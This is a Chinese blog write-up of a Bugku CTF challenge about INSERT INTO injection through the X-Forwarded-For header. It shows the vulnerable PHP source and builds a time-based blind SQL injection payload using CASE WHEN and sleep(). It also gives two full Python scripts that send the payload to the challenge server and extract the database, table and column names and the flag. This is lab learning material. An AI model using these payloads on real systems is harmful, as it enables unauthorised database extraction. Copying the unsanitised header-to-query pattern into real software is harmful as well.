f10@t's blog

Bugku的一道注入--INSERT INTO注入

字数统计: 1.3k阅读时长: 6 min
2018/12/06

insert into注入与XFF注入的结合

  最近也是点了点技能树,打算把跳过的注入题都补了。   本题来源:   先来看一下他给出的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
  方法getIP()的功能就是获得你的XFF头,并将其ip地址部分赋给变量$ip并返回该值。下面他构造了连接数据库所需的基本信息,连接后,他使用了insert into xxx values(xxx)的语句插入client_ip表中的ip字段,插入值就是我们的变量$ip。网页部分它会返回$ip值。

分析

  选择方法:他的语句部分就是构造$sql插入型语句,并且其中的输入变量是我们XFF头中信息,所以初步考虑XFF注入。   手段:初步考虑布尔盲注。   基本语句模式:1)X-Forwarded-For:XXX and if(length(database()>=1),1,0) --+ 获取长度   2)X-Forwarded-For:XXX and if(substr(database(),1,1)='a',1,0) --+ 获取值   问题一:它获取ip的方式是通过explode()函数分割了,,即等同于过滤了,。如果我们使用布尔盲注的话,需要使用到以上模式中的if()或者substr()函数,而这两个函数中都需要使用,。   解决方法我们改用别的关键字来完成两个模式中的目的。Mysql语法中还有一个关键字case,它的作用等同于if()函数,但是在格式上不牵扯,。   用法:CASE value WHEN [compare_value] THEN result [WHEN [compare_value] THEN result ...] [ELSE result] END   比如:我现在使用的库是test:         可以看到实现了与if()相同的效果。      下来我们先在bp里实验一下。    ### 实验   直接在bp截包,修改XFF信息:      发现没有任何报错。。。只能换方法了,使用时间盲注试试:   我们构造:   '+(select case when (substring((select database()) from 1 for 1)='?') then sleep(5) else 1 end) and '1'='1   这样的话原句就会变成这样:   insert into client_ip (ip) values (''+(select case when (substring((select database()) from 1 for 1)='?') then sleep(5) else 1 end) and '1'='1')   我们在bp里试一下:      问号处我们放入字母即可,写一个简单脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import time
import string


characters = string.ascii_letters + string.digits
max_length = 50
target = 'http://123.206.87.240:8002/web15/'
def get_database():
flag = ''
for i in range(1, max_length):
next_position = False
for char in characters:

payload = "'+(select case when (substring((select database() ) from %s for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,char)
headers = {
'X-Forwarded-For': payload
}
try:
r = requests.get(target,headers=headers,timeout=4)
except requests.exceptions.ReadTimeout:
flag += char
print(flag)
next_position = True
break
if not next_position:
return flag

get_database()
  结果:      即现在的数据库为web15(其实我猜到了。。。)   下来依次可得到表名、字段值。

大佬脚本

  这里贴上一个大佬的脚本。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# encoding:utf-8
import requests,time,string

characters = string.ascii_letters + string.digits + string.punctuation
max_length = 50
target = 'http://123.206.87.240:8002/web15/'
cur_database = "'+(select case when (substring((select database() ) from {0} for 1)='{1}') " \
"then sleep(4) else 1 end) and '1'='1"

# 猜解字母
def get(payload):
flag = ''
for i in range(1, max_length): # i 表示了所要查找的名字的最大长度
next_position = False
for char in characters: # 0x80=128 , 0x20=32, 32-128为可显示的字符的区间

payload_ = payload.format(str(i), char)
headers = {
'X-Forwarded-For': payload_
}
try:
r = requests.get(target,headers=headers,timeout=4)
except requests.exceptions.ReadTimeout:
flag += char
print(flag)
next_position = True
break
if not next_position:
return flag

# 指定数据库,获取其下全部表名
def get_table(database):
for i in range(0,5):
print("正在查询数据库" + database + "中的表")
payload = "'+(select case when (substring((" \
"select table_name from information_schema.tables where table_schema='"+ database + "' limit 1 offset "+ str(i) +") " \
"from {0} for 1)='{1}') " \
"then sleep(4) else 1 end) and '1'='1"
table = get(payload)
print( "数据库" + database + "的第"+ str(i+1) +"个表"+table)
get_col(table)

if not table:
print('数据库'+database+'中的表查询完毕')
break




# 查字段
def get_col(table):
for i in range(0,5):
print("正在查询表" + table + "中的字段")
payload = "'+(select case when (substring((" \
"select column_name from information_schema.columns where table_name='"+ table +"' limit 1 offset "+ str(i) +") " \
"from {0} for 1)='{1}') " \
"then sleep(4) else 1 end) and '1'='1"
column = get(payload)
print("表" + table + "的第" + str(i+1) + "个字段为" + column )
# print(column)
if not column:
print("表" + table + "中的字段查询完毕")
break

# 作为单独的模块使用吧,获取字段详细信息
def result(column,table):
payload = "'+(select case when (substring((select "+column+" from "+table+") from {0} for 1)='{1}') " \
"then sleep(4) else 1 end) and '1'='1"
print(get(payload))
a = 'flag'
result(a,a)

if __name__ == "__main__":
database1 = get(cur_database)
table1 = get_table(database1)
  参考文章:https://bbs.ichunqiu.com/thread-41915-1-1.html      大佬大佬。。。

CATALOG
  1. 1. 分析
  2. 2. 大佬脚本